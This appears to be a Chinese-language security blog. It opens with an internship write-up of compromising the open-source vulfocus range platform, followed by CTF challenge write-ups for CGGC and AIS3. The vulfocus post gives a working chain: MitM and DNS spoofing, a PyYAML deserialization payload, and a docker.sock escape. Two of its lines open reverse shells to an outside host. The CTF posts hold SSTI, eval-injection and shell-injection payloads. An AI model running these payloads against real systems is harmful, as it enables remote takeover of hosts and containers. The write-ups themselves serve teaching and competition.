叫你打靶機平台不是叫你把整個平台打下來,記錄針對 vulfocus 的一次滲透

最近接觸到一個對岸的開源靶機平台 vulfocusvulfocus 整合了 dockerdocker compose ,讓架設者能夠一鍵部署漏洞題目,並且在 container 中自帶 Flag 。

事情的開端是我在這個專案的 issue 中看到了一個 JWT token leak,並且可以拿到 admin 的權限,欸既然拿到 admin 權限了又是靶機平台,甚至可以自訂 docker-compose.yml ,應該可以馬上 RCE 吧?我一開始是這樣想的,但結果比我想像的還要複雜很多。

有 docker compose 為什麼還是沒辦法 RCE 呢

導入靶機介面提供了三種導入方式

  1. 添加
  2. 本地導入
  3. Compose 編譯

添加功能可以讓你上傳或是提供網址 pull image 進來,本地導入讓管理者可以直接透過本機裡面已經有的 image 一鍵建立漏洞題目,而 Compose 編譯則能自己撰寫靶機的 docker-compose.yml

既然靶機是 docker 管理的,不免讓人馬上聯想到 docker escape 。我都有 docker-compose.yml 了直接寫一個 privileged: true 不就完事了。

恭喜, docker compose 的功能根本就是壞的,因為他把 yaml parse 之後直接塞進去 json.load ,但是 json.loads 只能塞字串

Vulfocus API 的架構

在亂翻功能時,我發現「本地導入」頁面有一個 vulfocus-api 的 container

正常來講這種靶機平台應該是包兩層 docker 避免 challenge 影響到其他的 Container,不過看了一下 source code 發現全部的 challenge container 都是透過 host 的 docker api 直接新增,也就是說這些 challenge 被散落在宿主機上,僅透過 network 隔離。

既然 vulfocus-api 是一個 container 並且可以操作 host 的 docker,那我們有沒有辦法透過「本地導入」把這個 container 加進來,這樣我不就有宿主機的 docker.sock 了嗎?

恭喜,又不能,因為「本地導入」只會複製 container 的 image 和 docker-comopse.yml 的 expose port,其他欄位都會被丟掉,包括被掛進來的 docker.sock

YAML 反序列化漏洞

api 中有許多地方用到了 yaml 來儲存和載入資料,而有些地方用了不安全的 yaml.Loader,雖然如此但這些 yaml.Loader 的內容都是我們(理論上)無法直接控制的,有的是透過 yaml.dump 後 load 進來,有的是透過官網下載官方編排場景 load 進來

1
2
raw_data = yaml.dump(req)
raw_data = yaml.load(raw_data, Loader=yaml.Loader)
1
2
3
4
5
url = "http://vulfocus.io/api/layoutinfodet?layout_id={}".format(id)
res = requests.get(url, verify=False).content
req = json.loads(res)
raw_data = req['data']['layout_raw_content']
raw_data = yaml.load(raw_data, Loader=yaml.Loader)

那為什麼是「理論上」呢?因為我只要把他們的官網打下來就變成可控的了
當然不是,作為好駭客(的朋友)我們不能在未經授權的情況下攻擊別人的網站,因此我們將進到本文的重點:如何在不打下官網的狀況下控制 raw_data

題外話:目前 vulfocus.io 這個 domain 已經被越南的壞駭客打下來了

MitM + YAML Deserialization + Docker Escape

Vulfocus 的場景功能

在開始之前,我們需要介紹另一個 Vulfocus framework 的 feature —— 場景功能

簡而言之,場景功能可以將多個 container 和網路環境整合成一個題目,前面提到 challenge 由不同網卡將彼此做隔離,而 layout 功能則是將多個 container 放在同一個網路環境,讓彼此可以互通,因此出題者可以構建比如 SSRF、題目再加一層 WAF 之類的場景。

亂搞網卡

既然可以亂搞網路環境,那我們有沒有可能將某個 container 掛到和 vulfocus-api 的相同物理網路之中呢?
在新增網卡的頁面中,雖然 vulfocus 本身沒有對新增的網卡做任何限制,但是這些資料到了 docker api 就會爆炸,因為沒辦法新增相同名稱或子網重疊的 network


在一番嘗試後,新增場景的網卡邏輯引起了我的注意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#run_layout
# 启动网卡
raw_con = json.loads(layout_info.raw_content)
network_list = client.networks.list()
net_list = []
network_names = [item['attrs']['name'] for item in raw_con['nodes'] if item['name'] == "Network"]
for i in network_list:
net_list.append(i.attrs['Name'])
for network_name in network_names:
if network_name in net_list:
pass
else:
try:
#從儲存的網卡中找出該場景的網卡
network_det = NetWorkInfo.objects.filter(net_work_name=network_name).first()
'''其他設定...以下省略'''

except Exception as e:
return JsonResponse(R.build(msg=str(e)))

也就是說,程式會先看 docker network 裡面有沒有該場景的網卡名稱,如果有就會用它把 container 跑起來,沒有的話才會去 NetWorkInfo 中找儲存的網卡,所以,我們可以在新增場景時,直接設定不存在於 vulfocus 但存在於 docker 中的 network,也就是 vulfocus-api 使用的網路環境 vulfocus_vulfocus

至於為什麼是 vulfocus_vulfocus 呢?因為官方提供的 GitHub repo 中,docker-compose.yml 便是 vulfocus ,而 docker network 命名的邏輯為 folderName_networkName 因此如果使用官方的 repo ,網卡名稱便會是 vulfocus_vulfocus

MitM

到目前為止,我們已經成功連接到 vulfocus-api 的物理網路,因此,我們只需要對他做 MitM ,http://vulfocus.io 回傳的結果便是我們可控的了

將 vulfocus-api 與 gateway 做中間人攻擊後,我們便可以偷偷換掉 vulfocus.io 的 dns 結果


觸發更新的 api,此時程式按照預定邏輯到 vulfocus.io 下載更新,但因為 dns 查詢結果已經被我們篡改,因此會下載到錯誤的 yaml

1
2
3
4
5
{
"data":{
"layout_raw_content":"!!python/object/apply:os.system\n- |\n python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"ctf.tris.tw\",8080));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")'\n"
}
}

至此,我們成功 compromise 了 vulfocus-api

Docker Escape

拿到 vulfocus-api 的 shell 後,要做 docker escape 就很簡單了,因為 vulfocus-api 已經將宿主的 docker.sock 給 mount 進來了,我們只要用他創一個 privileged container 就可以了:

1
2
3
4
5
6
import docker
client = docker.DockerClient(base_url='unix://var/run/docker.sock')
client.images.pull("debian")
container = client.containers.create(image="debian",command="/bin/bash",name="pwned",stdin_open=True,tty=True,privileged=True)
container.start()
container.exec_run("bash -i 5<> /dev/tcp/ctf.tris.tw/8081 0<&5 1>&5 2>&5")

成功拿到宿主機的 shell

後記

這個專案是在 DEVCORE 實習時接觸到的,整個過程其實蠻 tricky 的,也是第一次打 web 打到需要用到 MitM Attack,算是一個特別的經驗,整個過程大概花了兩個禮拜(主要是因為大部分的程式碼都很 spaghetti 的),我覺得最大的收穫就是翻 code 的能力變強了 ( ̄▽ ̄)

本次經驗也同步在期末的實習生發表同步分享,感謝導師 Mico 讓我花兩個禮拜在平台上面亂搞一通。

2024 CGGC CTF Final Writeup

這次幫國網中心的CGGC 網路守護者挑戰賽出題,總共出了兩題 medium ,分別是 webConvertermisccat flag

Web

Converter

這是一個編碼的網站,可以編碼和解碼 base16 / base32 / base64 / base85 等不同網站
後端是使用 Flask 寫的,為了防止 SSTI ,在 render_template_string 之前我把一些地方 HTML encode

encodeinput 會被 HTML encode
decodeinputresult 都會被 HTML encode

1
2
3
4
5
6
7
return render_template_string(
RESULT_TEMPLATE.format(
input_data=data, # 皆會被 HTMLencode
conversion_type=conversion_type,
action=action,
result=result # 只有 decode 時會被 HTMLencode
))

因此,想要 SSTI 就只剩下把東西拿去 encode 之後變成怪怪的東西了,那什麼狀況下 encode 會跑出怪怪的東西呢?其實去查一下四種編碼應該就可以很快發現 base85 的 index table 有可以利用的東西({}),但這樣其實還是不夠的,因為如果想要構造出 {}input 會需要傳入不存在的字元,偏偏 URL encoding 又只會解碼特定的 binary data

那怎麼辦呢,其實在 encoding 的時候還有第二個可控的地方,那就是 Accept-Charset

1
2
3
4
5
6
encoding = request.headers.get('Accept-Charset','utf-8')
for i in ['utf','ascii','latin','windows','cp']:
if i in encoding:
break
else:
return jsonify({"error": "Unsupported encoding"}), 400

後端會根據輸入的 charset 去將傳入的資料 encode (但是僅限比較常見系列的編碼)

1
2
elif conversion_type == "base85":
result = base64.b85encode(data.encode(encoding)).decode(encoding)

有了這兩個可控的地方,我們就可以找到幾種編碼方式,把不存在的編碼變成存在的字元當成輸入, fuzz 一下就可以找出有效的 payload
我這邊是使用 cp850 去想辦法構造出 {{config}} ,最後找到 qX%15rx%15▒Bà└│ 可以弄出 aaa{{config}}1

最終 payload

1
2
3
4
POST /api/convert HTTP/1.1
Accept-Charset: cp850

data=qX%15rx%15▒Bà└│&conversion_type=base85&action=encode

flag: CGGC{'ÞÑ┐Õ▒àÕ▒àÞÑ┐ÞÑ┐Þ©óެƵ£ì'.encode('cp850').decode('utf-8')}

後記

我看到超多人交的 flag 是把中間那坨拿去 decode 變成 CGGC{西居居西西踢誒服} ,然後發現不會過又改成 CGGC{CGGCCTF} / CGGC{cggcctf} 最後才交上面的,超級好笑我很抱歉抱歉ㄉ心

Misc

Cat Flag

這題是給使用者一個 powershell ,將 flag 寫在圖片裡面,透過 AES-CBC 加密後放在資料夾裡面(我會給密碼),參賽者要想辦法用 powershell 偷出 flag

未免也太簡單了對吧?所以我加了一些限制:

  1. 不能連網,對外連線通通 DROP
  2. 指令長度不能超過 512 個字元
  3. 輸出字元數量不能超過檔案本身大小
  4. 每個 instancer 只能輸入一行指令
  5. 每次重開 instancer 都會用不同密碼加密

所以,想要弄出 flag 只剩下一條路了,那就是 cat flag

但要怎麼輸出呢?大家馬上聯想到的應該都會是 Base64 ,但是其實 base64 會把資料變成大胖呆(原本8個一組的資料變成6個一組),所以比賽現場就會看到一堆人弄出來的圖片長這樣:

flag 咧?在下面被切掉了

我預期的解法有兩種:

  1. base64 切片抓下來,因為有給密碼了,所以可以透過第一組的明文使用第二組的密碼反向加密回去再和第二組的下半身合併成完整的圖片(這邊是 CBC 的 block cipher 所以要注意不要切爛了會有 padding 的問題)
  2. 因為是限制 char 所以可以想辦法把每個 byte 轉成自訂的寬字節就可以一次輸出整個檔案了,但是他又有限制指令只能 512 char ,所以可以找一下有沒有什麼內建的編碼方式是可以涵蓋到大部分的組合,然後在自訂沒涵蓋到的編碼就可以了,我這邊是用一個古老的編碼 X-Europa 把檔案 print 出來

編碼:

1
$bytes = [System.IO.File]::ReadAllBytes("cat.flag");$compressedStream = New-Object System.IO.MemoryStream;$result="";$encoding=[System.Text.Encoding]::GetEncoding("x-europa");ForEach ($byte in $bytes){if ($byte -eq 0){$result+="嗨"}elseif($byte -eq 127){$result+="哈"}else{$result+=$encoding.GetString($byte)}};$result

解碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

$encodedResult = $result

$encoding = [System.Text.Encoding]::GetEncoding("x-europa")

$decodedBytes = New-Object System.Collections.Generic.List[byte]

$i = 0
while ($i -lt $encodedResult.Length) {
if ($encodedResult.Substring($i, 1) -eq "嗨") {
$decodedBytes.Add(0)
$i += 1
}
elseif ($encodedResult.Substring($i, 1) -eq "哈") {
$decodedBytes.Add(127)
$i += 1
}
else {
$char = $encodedResult.Substring($i, 1)
$byte = $encoding.GetBytes($char)[0]
$decodedBytes.Add($byte)
$i += 1
}
}
[System.IO.File]::WriteAllBytes("flag.enc",$decodedBytes)
openssl enc -d -aes-256-cbc -pbkdf2 -in flag.enc -out flag.jpg -k $password

弄出來的資料大概會長這樣:

1
Salted__◀¶8ήρêWΒ▲À§§Τ║ΞÓCΖ↕É3$Ôoο│Ϋ*á‼αύ,{┘ÇÕyPUΪχZ\æUΰal!ë;ΞΈ>♬΄8nÆsÂΰηUv0Z·HO¡λg◘│.~┘ώ↕òΥbQ▼ΖΉPÜΎüκχ┘ΎÄ:q─É└xνϊî/'ηΊ5ίïΐ?èΘQν>γ0b*kςO6Dv└║Aïί&t◙ºω$↕°δ΄§ΥäΤnΆ1ö♂CοJ▼♪;βJΥΧ(ä.óhώ═2ÅE%δÕ◙◙╝G^Ό!ψ♂M○J╚¿9ºYΥΠΟÍ\○TAlérνyΦβ*Äλz¡'Ξίê→ÍìΦöίς║7Ñ+_☼/v/Θàξ4GΣLάæS♬6+FρθΕÑRôsÓτδ/┘YØàÅ¿Νό Bωy→Ήχ4e"χÅηαH哈θόψώvu8cçãvßή═PqΏ-‼ΗÂ─ϊΉ│↕τUEÊ║Ά9ώΗέΘDèe&哈ÖÍιwφή◙pάεΕé"╚ËP)9◙╝嗨áω▼0↓哈▲ί→SΔεTSòk£όÕΜÄΡ^┐L%♂oοÑΥüμñΤηòύΡút^ÀΓVRεδ↑ξΰ)Ü○═eN│Ú$b+$°ϊ3ö▲Σçν┐IN♂õΨΈ7z←[:)éÁ8♪◙ºöQMΰν┘QsσΉ♪↑IρΜYΊº°üï·jr↓S'ε‼ηζς¡4اΈΟÅ-╝τÚσBΗ?BΙ/x←+Äa♬`g/ϋΟΤëK║]Êãω←ΏÀ£_¡αóÂΰÍ^α└zϋp╔Nï·øáâ2ΘËΌΛÀLL%tÕÓDλmI◘ΦÊ↑ξK-^ë+,\γÄrßP─óÊhη"4♂♬ί:ρ"Iã6jÑΔΌª┌§/[O]αüöΔÂ╚┐:0õ1♂ύBθοÀÑBghϋRsºÀ哈F"▼◘îΜaί;q╔ΞώΧΡBÚ┌·F7哈ύφ哈 μø<À΄)ªö─¿ÁΧτ╔ΦhρMnζΡØz◘cªÆΥêΕ"à_FΣ]Τοπ.Λr♬┌ØΓ#♂έ║Xá¶Ή↔ÂΒώ8/fSV@υÍÕfΓ3ζΚE·όϊ1ãA+|'ËÑς↓hO┘h╚a"|ïâ9Ά!èàdÉg═xΙóæeΪñήR#<ñ4'4õUΈά→Ξα◘ù,äέ;?H│},π7aΒ◀η║χΏ\x◙e1ώÂÂ@Vΐx‼6ΛÅzφ&ύÉâ○όeΑι<─@¶ΐΊu+°ΟªεΝΞΑΙd=7öÅ═+ßÁ\îΙ|嗨f£ΛñùΨßWÂ=΄*·eO,΄άω@XΨC,ìñu΄t JÄ▲dîîóîωI.ρѶæuùÍπGôΡαjìΗù↑õ=ώûΑêηTæ{ÍNVroKüΆώg<euÂΠα`ήξ↓Αkό♬+§ÔόxW▲Ά*ζΘΧΰãΌ╗Læ+ ┐ρü0΄mlϊ4┌Ι]υêαφb¿Οό│]:\ìιΛ y¶άΜ(HúÅY§◘#ÃΕφàS嗨Æù↓Ëê9Gώæ.▼NΖJχ╚Pαè┐@Á(£nÂeìº↓maq§Ν0nØûEÚÕh哈kDGaíυ↔ó@SmabΰκTL‼/Ξy`♀sΠ{mΉKENeΒΏκΥΆ<Γ¶!▶@╗┌MÀϋVv¿$i↕Í↑aUEΈx◀^οΌûP╚◀àMϊk@▲£çèAÄvzÆNæÇέλ9ω▲xt嗨ª└ΓnîAθάï#Ηè↕à |y╚έãΤόGjρt·ρø↓r↑Éκtåς1y=É♀1A΄ω=╝┐ΞΠN0éïζΜ◘π|F╔óüα╗ΈôΊ↑υZξΞ_3Ñ♀ξöΟæºψζΜ╚Ãææΰωå♀λΗÆ5nτ♪è5°¡ΨºvΪGΛΜώΒΣ1öΝq╝öôοψW4èaσΝDΤÓs┘o╔=│¶ÉΌ♂ϋcëάbάΔÍbνü┐Ι&ΥTEυBΉϋ↔8ιîΡ═Í!ΆΔΌ+¶2öτ◙zΧΕ[<→,ΆòcÄj-Óf£7Q▶N)ΗΜ>92kκêΫ`↔tφβ┘JwìÇ^ÅX|Τ7~3ê4└Ϋz£ÅκysΏ Y▼ΞôuË\UΜOÄοΉIoíΖB/ZΦΙΝVqwFAXΣ|:╝?έ╝iBV$ΧΫαYn΄a↔ΙBÂ-$Ά▼ι═Mεμλ¶ Ψóύá┌νÓÔ┘▲0σ←R¶εFWω↑sψ?.â#δ§ί┌ΓΉay£%]ΣÁUΟtÖUζνξ/ÔyöC☼╚M▼=;Ι"8─ÄUÖÑΫãΐ>δ4ξή:ΣβºόΛΒ~║O↓Lΐύw"χ♂-↓ÚnèωrÅí◘ΜÚíVtΰ(ΓZPΚiê9FήΟ°r─σ◀ί♬?¿ΓόhXEΈ,υm;

後記

這題是用 @chummy 的 CTF Instancer 架的,會依序動態開 100 個 port給大家連 instancer ,結果有某海狗直接狂戳 port 幫大家把 instancer 都關起來(我完全沒想到可以這樣玩QQ)

後來臨時加了驗證 CTFd Token 的機制,感謝賽博水電工 Chummy 現場幫 instancer 加新功能,然後兩個人在那邊寫爛扣

2024 AIS3 pre-exam & MFCTF writeup

2024 AIS3 pre-exam writeup

這次幫 AIS3 pre-exam 和 MFCTF 出題,出了兩題:一題 web 和一題 misc (但其實兩題都是web)

evil calculator

This is a calculator written in Python. It’s a simple calculator, but some function in it is VERY EVIL!!
Connection info: http://chals1.ais3.org:5001
Author: TriangleSnake

這是一題很簡單的pyjail(?有jail嗎),主要問題出在 eval() function,但是有過濾 _space
因為是warmup題,預期解是用open()讀flag,不會用到_space

1
{"expression":"open('/flag','r').read()"}

當然,你也可以把 _space encode 後 rce

1
{"expression":"eval(eval('chr(95)')+eval('chr(95)')+'import'+eval('chr(95)')+eval('chr(95)')+\"('os').popen('').read()\")"}

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

emoji console

🔺🐍 😡 🅰️ 🆒 1️⃣Ⓜ️🅾️ 🚅☠️✉️ 🥫🫵 🔍🚩⁉️
Connection info: http://chals1.ais3.org:5000
Author: TriangleSnake

這題和資安沒什麼關係,純粹是拼字遊戲,可以隨便按幾個 emoji 後就可以發現他就是把你輸入的 emoji 轉成英文單字後變成一行指令

image

試幾次會發現一些常用的指令,像是 🐱->cat 、 💿->cd ,還有題目剛進去就提示的 🐍->python 和 ⭐->*

  1. 嘗試使用 cat 命令看目錄下面有什麼
    1
    🐱 ⭐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/api')
def api():
command = request.args.get('command')

if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})


if __name__ == '__main__':
app.run('0.0.0.0',5000)

{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",
"😗": ":*",
"😙": ":*",
"😚": ":*",
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",
"🤨": ":/",
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",
"😔": ":(",
"😕": ":/",
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python",
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"

}cat: flag: Is a directory
cat: templates: Is a directory

現在我們得到一個json有所有指令的對照表,並且可以知道flag應該是在 flag 的資料夾。

嘗試 cat flag 資料夾裡面的東西,可以從剛剛 dump 出來的 json 找可以用的指令,這邊使用;/:|切割指令,回傳的結果似乎是一個 python file

1
💿 🚩😓😑🐱 ⭐ #cd flag;/:|
1
2
3
#flag-printer.py

print(open('/flag','r').read())
  1. 執行python,get flag
    1
    💿 🚩😓😑🐍❸ 🚩➖🖨️⭐

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Can you describe Pyjail?

Yet another 🐍 ⛓️.
nc chals1.ais3.org 48763
Author: Vincent55

這題不是我出的,但是 Vincent 大佬出的題目還是要捧場一下

source code

看source code可以知道是很純的pyjail,在 safe_eval 裡面就把該 ban 的都 ban 光了

跟前面那題 evil calculator 比起來 calculator 一點都不 evil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/local/bin/python3

from safe_eval import safe_eval
from inspect import getdoc


class Desc:
"""
Welcome to my 🐍 ⛓️
"""

def __get__(self, objname, obj):
return __import__("conf").flag

def desc_helper(self, name):
origin = getattr(type, name)
if origin == type.__getattribute__:
raise NameError(
"Access to forbidden name %r (%r)" % (name, "__getattribute__")
)
self.helper = origin


class Test:
desc = Desc()


test = Test()
test.desc = "flag{fakeflag}"


# Just a tricky way to print a welcome message, or maybe a hint :/
# You can just `print(getdoc(Desc))`
# This is not part of the challenge, but if you can get the flag through here, please contact @Vincent55.
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)


# Your challenge begin here!
payload = input("✏️: ")

safe_eval(
payload,
{"__builtins__": {}},
{"Desc": Desc},
)

# print(f"test.__dict__: {test.__dict__}")
print(f"🚩: {test.desc}")

看完 source code 可以發現他在print welcome_msg 的時候用了一個非常詭異的方法,也算是這題的題示。

welcome_msg到底在幹嘛

首先看到下面這段程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)

其實會發現你可以透過 getattr(type, name) 取得type底下的attribute
這裡會卡一個知識點,就是當你要取得某個 class 的 subclass 的時候(假設是 str ),會寫 str.__subclasses__() ,但其實可以寫成 type.__subclasses__(str) ,前提是 strclass 必須是 type

所以我們可以先透過 getattr(type,"__subclasses__") 取得 type.__subclasses__ 再把 __base__ 塞進去就可以得到 type.__base__.__subclasses__()

好到這邊大家應該已經搞懂上面那陀 welcome_msg 的 payload 到底在幹嘛了,簡單來說就是到 object 裡面把所有 class 抓出來,然後抓倒數第2個 class (jail.Desc)把它印出來

解題

一開始想改抓 jail.Test 下面的 desc 就可以拿到 flag
抓是抓得到,但是print不出來啊

1
a = Desc();a.desc_helper("__base__");obj=a.helper;a = Desc();a.desc_helper("__subclasses__");obj = a.helper(obj)[-1].desc

這邊又卡一個知識點了,那就是 python 的 descriptor 解析有優先度的問題(題目有提示describe,雖然我覺得沒有人看得懂)

以下參考 @Vincent550102 的筆記:

  • 如果 __get__ 與 __set__ 都有,優先使用描述器(Descriptor):
    當一個描述器同時實現了 __get__ 和 __set__ 方法時,Python 會認為它是一個資料描述器(Data Descriptor)。資料描述器的一個特點是它們對屬性的訪問有更高的優先級。
    如果不是,則在自己的 __dict__ 裡面找:
  • 如果描述器沒有作為資料描述器或者只實現了 __get__ 方法的非資料描述器(Non-Data Descriptor)或者找不到描述器,Python 會繼續在物件的 __dict__ 屬性字典中尋找是否存在該屬性。
  • 若在 __dict__ 也找不到,嘗試用描述器的 __get__:
    如果在物件的 dict 中找不到該屬性,Python 會檢查是否存在只實現了 get 方法的非資料描述器,如果存在,則回傳該描述器的 __get__ 方法。
    都沒有,直接回傳描述器:
